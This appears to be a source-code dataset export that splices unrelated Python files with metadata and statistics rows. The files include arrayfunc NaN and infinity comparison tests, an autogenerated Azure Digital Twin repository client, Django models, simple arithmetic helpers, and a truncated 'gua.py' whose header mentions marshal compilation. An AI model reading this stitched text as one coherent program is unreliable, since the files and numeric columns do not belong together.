def test_gt_nan_data_num_array_a3(self):
"""Test gt as *num-array* for NaN value - Array code d.
"""
expected = all([self.nanvalue > x for x in self.testdata])
result = arrayfunc.gt(self.nanvalue, self.testdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_num_array_a4(self):
"""Test gt as *num-array* for NaN array - Array code d.
"""
expected = all([self.testvalue > x for x in self.nandata])
result = arrayfunc.gt(self.testvalue, self.nandata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_array_a5(self):
"""Test gt as *array-array* for NaN array 1 - Array code d.
"""
expected = all([x > y for (x,y) in zip(self.nandata, self.testdata)])
result = arrayfunc.gt(self.nandata, self.testdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_array_a6(self):
"""Test gt as *array-array* for NaN array 2 - Array code d.
"""
expected = all([x > y for (x,y) in zip(self.testdata, self.nandata)])
result = arrayfunc.gt(self.testdata, self.nandata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_num_b1(self):
"""Test gt as *array-num* for inf value - Array code d.
"""
expected = all([x > self.infvalue for x in self.testdata])
result = arrayfunc.gt(self.testdata, self.infvalue)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_num_b2(self):
"""Test gt as *array-num* for inf array - Array code d.
"""
expected = all([x > self.testvalue for x in self.infdata])
result = arrayfunc.gt(self.infdata, self.testvalue)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_num_array_b3(self):
"""Test gt as *num-array* for inf value - Array code d.
"""
expected = all([self.infvalue > x for x in self.testdata])
result = arrayfunc.gt(self.infvalue, self.testdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_num_array_b4(self):
"""Test gt as *num-array* for inf array - Array code d.
"""
expected = all([self.testvalue > x for x in self.infdata])
result = arrayfunc.gt(self.testvalue, self.infdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_array_b5(self):
"""Test gt as *array-array* for inf array 1 - Array code d.
"""
expected = all([x > y for (x,y) in zip(self.infdata, self.testdata)])
result = arrayfunc.gt(self.infdata, self.testdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_array_b6(self):
"""Test gt as *array-array* for inf array 2 - Array code d.
"""
expected = all([x > y for (x,y) in zip(self.testdata, self.infdata)])
result = arrayfunc.gt(self.testdata, self.infdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_num_c1(self):
"""Test gt as *array-num* for -inf value - Array code d.
"""
expected = all([x > self.ninfvalue for x in self.testdata])
result = arrayfunc.gt(self.testdata, self.ninfvalue)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_num_c2(self):
"""Test gt as *array-num* for -inf array - Array code d.
"""
expected = all([x > self.testvalue for x in self.ninfdata])
result = arrayfunc.gt(self.ninfdata, self.testvalue)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_num_array_c3(self):
"""Test gt as *num-array* for -inf value - Array code d.
"""
expected = all([self.ninfvalue > x for x in self.testdata])
result = arrayfunc.gt(self.ninfvalue, self.testdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_num_array_c4(self):
"""Test gt as *num-array* for -inf array - Array code d.
"""
expected = all([self.testvalue > x for x in self.ninfdata])
result = arrayfunc.gt(self.testvalue, self.ninfdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_array_c5(self):
"""Test gt as *array-array* for -inf array 1 - Array code d.
"""
expected = all([x > y for (x,y) in zip(self.ninfdata, self.testdata)])
result = arrayfunc.gt(self.ninfdata, self.testdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_nan_data_array_array_c6(self):
"""Test gt as *array-array* for -inf array 2 - Array code d.
"""
expected = all([x > y for (x,y) in zip(self.testdata, self.ninfdata)])
result = arrayfunc.gt(self.testdata, self.ninfdata)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
if __name__ == '__main__':
# Check to see if the log file option has been selected. This is an option
# which we have added in order to decide where to output the results.
if '-l' in sys.argv:
# Remove the option from the argument list so that "unittest" does
# not complain about unknown options.
sys.argv.remove('-l')
with open('af_unittest.txt', 'a') as f:
f.write('\n\n')
f.write('gt\n\n')
trun = unittest.TextTestRunner(f)
unittest.main(testRunner=trun)
else:
unittest.main()
##############################################################################
| 35.846234
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0
| 8
|
1155d7f2612b039e7022d3f0151ae23b4c944323
| 24,477
|
py
|
Python
|
src/azure-cli/azure/cli/command_modules/iot/digitaltwinrepositoryprovisioningservice/digital_twin_repository_provisioning_service.py
|
heaths/azure-cli
|
baae1d17ffc4f3abfeccea17116bfd61de5770f1
|
[
"MIT"
] | 1
|
2019-06-21T05:07:59.000Z
|
2019-06-21T05:07:59.000Z
|
src/azure-cli/azure/cli/command_modules/iot/digitaltwinrepositoryprovisioningservice/digital_twin_repository_provisioning_service.py
|
heaths/azure-cli
|
baae1d17ffc4f3abfeccea17116bfd61de5770f1
|
[
"MIT"
] | 1
|
2021-06-02T00:24:55.000Z
|
2021-06-02T00:24:55.000Z
|
src/azure-cli/azure/cli/command_modules/iot/digitaltwinrepositoryprovisioningservice/digital_twin_repository_provisioning_service.py
|
heaths/azure-cli
|
baae1d17ffc4f3abfeccea17116bfd61de5770f1
|
[
"MIT"
] | 1
|
2020-12-22T00:28:33.000Z
|
2020-12-22T00:28:33.000Z
|
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
# pylint: skip-file
# coding=utf-8
# --------------------------------------------------------------------------
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
from msrest.service_client import ServiceClient
from msrest import Configuration, Serializer, Deserializer
from .version import VERSION
from msrest.pipeline import ClientRawResponse
from msrest.exceptions import HttpOperationError
from . import models
class DigitalTwinRepositoryProvisioningServiceConfiguration(Configuration):
"""Configuration for DigitalTwinRepositoryProvisioningService
Note that all parameters used to create this instance are saved as instance
attributes.
:param str base_url: Service URL
"""
def __init__(
self, base_url=None):
if not base_url:
base_url = 'http://localhost'
super(DigitalTwinRepositoryProvisioningServiceConfiguration, self).__init__(base_url)
self.add_user_agent('digitaltwinrepositoryprovisioningservice/{}'.format(VERSION))
class DigitalTwinRepositoryProvisioningService(object):
"""DigitalTwin Repository Control Plane Service. Provisions Repository and Access keys to a repository.
:ivar config: Configuration for client.
:vartype config: DigitalTwinRepositoryProvisioningServiceConfiguration
:param str base_url: Service URL
"""
def __init__(
self, base_url=None):
self.config = DigitalTwinRepositoryProvisioningServiceConfiguration(base_url)
self._client = ServiceClient(None, self.config)
client_models = {k: v for k, v in models.__dict__.items() if isinstance(v, type)}
self.api_version = '2019-07-01-Preview'
self._serialize = Serializer(client_models)
self._deserialize = Deserializer(client_models)
def get_keys_async(
self, repository_id, api_version, custom_headers=None, raw=False, **operation_config):
"""Gets all the keys associated to a repository.
Connection String format:
HostName=repository svc endpoint;RepositoryId=repository
id(GUID);SharedAccessKeyName =access key id/name;SharedAccessKey=shared
access key;.
:param repository_id: Repository id
:type repository_id: str
:param api_version: API version.
:type api_version: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~digitaltwinrepositoryprovisioningservice.models.KeyMetadata] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_keys_async.metadata['url']
path_format_arguments = {
'repositoryId': self._serialize.url("repository_id", repository_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(request, header_parameters, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[KeyMetadata]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_keys_async.metadata = {'url': '/repositories/{repositoryId}/authKeys'}
def create_or_update_key_async(
self, repository_id, api_version, properties=None, custom_headers=None, raw=False, **operation_config):
"""Creates or updates a key for the given repository.
If Id present in the RepositoryKeyRequest's properties, it will update
the key with new key.
Otherwise return a new key.
:param repository_id: Repository id
:type repository_id: str
:param api_version: API version.
:type api_version: str
:param properties:
:type properties:
~digitaltwinrepositoryprovisioningservice.models.RepositoryKeyRequestProperties
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: KeyMetadata or ClientRawResponse if raw=true
:rtype: ~digitaltwinrepositoryprovisioningservice.models.KeyMetadata
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
repository_key_request = None
if properties is not None:
repository_key_request = models.RepositoryKeyRequest(properties=properties)
# Construct URL
url = self.create_or_update_key_async.metadata['url']
path_format_arguments = {
'repositoryId': self._serialize.url("repository_id", repository_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if repository_key_request is not None:
body_content = self._serialize.body(repository_key_request, 'RepositoryKeyRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200, 404]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('KeyMetadata', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_or_update_key_async.metadata = {'url': '/repositories/{repositoryId}/authKeys'}
def get_key_async(
self, repository_id, id, api_version, custom_headers=None, raw=False, **operation_config):
"""Gets a key metadata information for the given key.
Connection String format:
HostName=repository svc endpoint;RepositoryId=repository
id(GUID);SharedAccessKeyName =access key id/name;SharedAccessKey=shared
access key;.
:param repository_id: Repository Id
:type repository_id: str
:param id: Key Id.
:type id: str
:param api_version: API version.
:type api_version: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: KeyMetadata or ClientRawResponse if raw=true
:rtype: ~digitaltwinrepositoryprovisioningservice.models.KeyMetadata
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_key_async.metadata['url']
path_format_arguments = {
'repositoryId': self._serialize.url("repository_id", repository_id, 'str'),
'id': self._serialize.url("id", id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(request, header_parameters, stream=False, **operation_config)
if response.status_code not in [200, 404]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('KeyMetadata', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_key_async.metadata = {'url': '/repositories/{repositoryId}/authKeys/{id}'}
def delete_key_async(
self, id, repository_id, api_version, custom_headers=None, raw=False, **operation_config):
"""Deletes a key from the given repository.
:param id: Key id.
:type id: str
:param repository_id: Repository id.
:type repository_id: str
:param api_version: API version.
:type api_version: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_key_async.metadata['url']
path_format_arguments = {
'id': self._serialize.url("id", id, 'str'),
'repositoryId': self._serialize.url("repository_id", repository_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters)
response = self._client.send(request, header_parameters, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_key_async.metadata = {'url': '/repositories/{repositoryId}/authKeys/{id}'}
def get_repositories_async(
self, api_version, custom_headers=None, raw=False, **operation_config):
"""Gets all the repositories metadata belong to the user's tenant.
:param api_version: API version.
:type api_version: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~digitaltwinrepositoryprovisioningservice.models.RepositoryMetadata]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_repositories_async.metadata['url']
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(request, header_parameters, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[RepositoryMetadata]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_repositories_async.metadata = {'url': '/repositories'}
def create_or_update_repository_async(
self, api_version, properties=None, custom_headers=None, raw=False, **operation_config):
"""Create or updates a repository.
If Id is present in the RepositoryRequest properties object, service
tries to update the repository.
otherwise it will try to create repository.
:param api_version: API version.
:type api_version: str
:param properties:
:type properties:
~digitaltwinrepositoryprovisioningservice.models.RepositoryUpsertRequestProperties
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RepositoryProvisionResponseBase or ClientRawResponse if
raw=true
:rtype:
~digitaltwinrepositoryprovisioningservice.models.RepositoryProvisionResponseBase
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
repository_upsert_request = None
if properties is not None:
repository_upsert_request = models.RepositoryUpsertRequest(properties=properties)
# Construct URL
url = self.create_or_update_repository_async.metadata['url']
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json-patch+json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if repository_upsert_request is not None:
body_content = self._serialize.body(repository_upsert_request, 'RepositoryUpsertRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters)
response = self._client.send(
request, header_parameters, body_content, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RepositoryProvisionResponseBase', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_or_update_repository_async.metadata = {'url': '/repositories'}
def get_repository_async(
self, repository_id, api_version, custom_headers=None, raw=False, **operation_config):
"""Gets the repository metadata for the given repository id.
:param repository_id: Repository Id.
:type repository_id: str
:param api_version: API version.
:type api_version: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RepositoryMetadata or ClientRawResponse if raw=true
:rtype:
~digitaltwinrepositoryprovisioningservice.models.RepositoryMetadata or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_repository_async.metadata['url']
path_format_arguments = {
'repositoryId': self._serialize.url("repository_id", repository_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(request, header_parameters, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RepositoryMetadata', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_repository_async.metadata = {'url': '/repositories/{repositoryId}'}
def delete_repository_async(
self, repository_id, api_version, custom_headers=None, raw=False, **operation_config):
"""Deletes the repository for given id.
:param repository_id: Repository Id
:type repository_id: str
:param api_version: API version.
:type api_version: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RepositoryProvisionResponseBase or ClientRawResponse if
raw=true
:rtype:
~digitaltwinrepositoryprovisioningservice.models.RepositoryProvisionResponseBase
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_repository_async.metadata['url']
path_format_arguments = {
'repositoryId': self._serialize.url("repository_id", repository_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters)
response = self._client.send(request, header_parameters, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RepositoryProvisionResponseBase', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
delete_repository_async.metadata = {'url': '/repositories/{repositoryId}'}
def get_provision_status(
self, repository_id, tracking_id, api_version, custom_headers=None, raw=False, **operation_config):
"""Returns the repository provisioning status.
:param repository_id: Repository id.
:type repository_id: str
:param tracking_id: Tracking id (provisioningState)
:type tracking_id: str
:param api_version: API version.
:type api_version: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RepositoryProvisionResponseBase or ClientRawResponse if
raw=true
:rtype:
~digitaltwinrepositoryprovisioningservice.models.RepositoryProvisionResponseBase
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_provision_status.metadata['url']
path_format_arguments = {
'repositoryId': self._serialize.url("repository_id", repository_id, 'str'),
'trackingId': self._serialize.url("tracking_id", tracking_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(request, header_parameters, stream=False, **operation_config)
if response.status_code not in [200, 404]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RepositoryProvisionResponseBase', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_provision_status.metadata = {'url': '/repositories/{repositoryId}/status/{trackingId}'}
| 41.207071
| 115
| 0.66875
| 2,448
| 24,477
| 6.488971
| 0.084559
| 0.04029
| 0.022663
| 0.022663
| 0.850992
| 0.833994
| 0.830595
| 0.806862
| 0.797482
| 0.783758
| 0
| 0.00418
| 0.237652
| 24,477
| 593
| 116
| 41.27656
| 0.847106
| 0.353434
| 0
| 0.708661
| 0
| 0
| 0.104186
| 0.03322
| 0
| 0
| 0
| 0
| 0
| 1
| 0.043307
| false
| 0
| 0.023622
| 0
| 0.141732
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fecb744270c4782cf6fed527d0de2fc00881de5e
| 759
|
py
|
Python
|
social/models.py
|
vijay-krishnamoorthy/django-application
|
b70fbc3ee193b09a67b4320504cab7c1c0cca7af
|
[
"MIT"
] | null | null | null |
social/models.py
|
vijay-krishnamoorthy/django-application
|
b70fbc3ee193b09a67b4320504cab7c1c0cca7af
|
[
"MIT"
] | null | null | null |
social/models.py
|
vijay-krishnamoorthy/django-application
|
b70fbc3ee193b09a67b4320504cab7c1c0cca7af
|
[
"MIT"
] | null | null | null |
from django.db import models
# Create your models here.
class Register(models.Model):
title=models.CharField(max_length=250)
author=models.CharField(max_length=250)
subject=models.CharField(max_length=250)
description=models.CharField(max_length=1000)
date_published = models.DateTimeField(auto_now=True,auto_now_add=False)
likes = models.BigIntegerField
def __str__(self):
return self.author
class LoginData(models.Model):
title = models.CharField(max_length=250)
author=models.CharField(max_length=250)
subject=models.CharField(max_length=250)
description=models.CharField(max_length=1000)
date_published = models.DateTimeField(auto_now=True,auto_now_add=False)
likes = models.BigIntegerField
| 34.5
| 75
| 0.768116
| 99
| 759
| 5.686869
| 0.353535
| 0.213144
| 0.255773
| 0.34103
| 0.827709
| 0.827709
| 0.827709
| 0.827709
| 0.827709
| 0.827709
| 0
| 0.039634
| 0.135705
| 759
| 21
| 76
| 36.142857
| 0.818598
| 0.031621
| 0
| 0.705882
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.058824
| false
| 0
| 0.058824
| 0.058824
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
3a557c172b92fe32b393d1e6d16cfd6d152314b4
| 160
|
py
|
Python
|
conan/tools/files/__init__.py
|
thombet/conan
|
eee0d568ee631fffe1856a5da1c23f47dcdf5c1c
|
[
"MIT"
] | 1
|
2021-05-29T16:44:56.000Z
|
2021-05-29T16:44:56.000Z
|
conan/tools/files/__init__.py
|
thombet/conan
|
eee0d568ee631fffe1856a5da1c23f47dcdf5c1c
|
[
"MIT"
] | null | null | null |
conan/tools/files/__init__.py
|
thombet/conan
|
eee0d568ee631fffe1856a5da1c23f47dcdf5c1c
|
[
"MIT"
] | null | null | null |
from conan.tools.files.files import load, save, mkdir, ftp_download, download, get, rename
from conan.tools.files.patches import patch, apply_conandata_patches
| 53.333333
| 90
| 0.825
| 24
| 160
| 5.375
| 0.666667
| 0.139535
| 0.217054
| 0.294574
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.09375
| 160
| 2
| 91
| 80
| 0.889655
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
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| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
3a5b979a746c0b1811dc8b2416470f04678fd541
| 398
|
py
|
Python
|
functions.py
|
mokpolar/devops-eng-training
|
2cf327a37e4575991f2846f42cad03f3cbab770d
|
[
"MIT"
] | null | null | null |
functions.py
|
mokpolar/devops-eng-training
|
2cf327a37e4575991f2846f42cad03f3cbab770d
|
[
"MIT"
] | null | null | null |
functions.py
|
mokpolar/devops-eng-training
|
2cf327a37e4575991f2846f42cad03f3cbab770d
|
[
"MIT"
] | 9
|
2021-05-06T06:00:18.000Z
|
2021-05-15T08:30:47.000Z
|
# TODO(everyone): 더하기, 빼기, 곱하기, 나누기 함수 정의하기
def add_function(num1, num2):
result = int(num1) + int(num2)
return result
def subtract_function(num1, num2):
result = int(num1) - int(num2)
return result
def multiply_function(num1, num2):
result = int(num1) * int(num2)
return result
def division_function(num1, num2):
result = int(num1) // int(num2)
return result
| 19.9
| 43
| 0.663317
| 56
| 398
| 4.642857
| 0.339286
| 0.184615
| 0.246154
| 0.338462
| 0.773077
| 0.773077
| 0.773077
| 0.773077
| 0.773077
| 0.773077
| 0
| 0.051282
| 0.21608
| 398
| 19
| 44
| 20.947368
| 0.782051
| 0.103015
| 0
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.052632
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 10
|
28c8d1650643bac02f5deeb52649dd037116394e
| 177
|
py
|
Python
|
src/msys/interfaces/iextension.py
|
willi-z/mdd
|
bdd9492429640d86d36e21a334645922e4832956
|
[
"BSD-3-Clause"
] | 2
|
2021-05-19T12:02:28.000Z
|
2021-06-14T07:29:47.000Z
|
src/msys/interfaces/iextension.py
|
willi-z/msys
|
bdd9492429640d86d36e21a334645922e4832956
|
[
"BSD-3-Clause"
] | null | null | null |
src/msys/interfaces/iextension.py
|
willi-z/msys
|
bdd9492429640d86d36e21a334645922e4832956
|
[
"BSD-3-Clause"
] | null | null | null |
from abc import ABC, abstractmethod
class IExtension(ABC):
@abstractmethod
def set_value(self):
pass
@abstractmethod
def set_value(self):
pass
| 16.090909
| 35
| 0.655367
| 20
| 177
| 5.7
| 0.55
| 0.298246
| 0.350877
| 0.438596
| 0.578947
| 0.578947
| 0
| 0
| 0
| 0
| 0
| 0
| 0.276836
| 177
| 11
| 36
| 16.090909
| 0.890625
| 0
| 0
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0.25
| 0.125
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
e92c0ac165a98fff7c238080b51e0b229ba5be03
| 2,764
|
py
|
Python
|
gua.py
|
mrzomby/Tool-s
|
9a335feedbdc292ca866db63801f56493edc2084
|
[
"Apache-2.0"
] | null | null | null |
gua.py
|
mrzomby/Tool-s
|
9a335feedbdc292ca866db63801f56493edc2084
|
[
"Apache-2.0"
] | null | null | null |
gua.py
|
mrzomby/Tool-s
|
9a335feedbdc292ca866db63801f56493edc2084
|
[
"Apache-2.0"
] | null | null | null |
#compile marshall by Mr.ZOMBY
from marshal import *
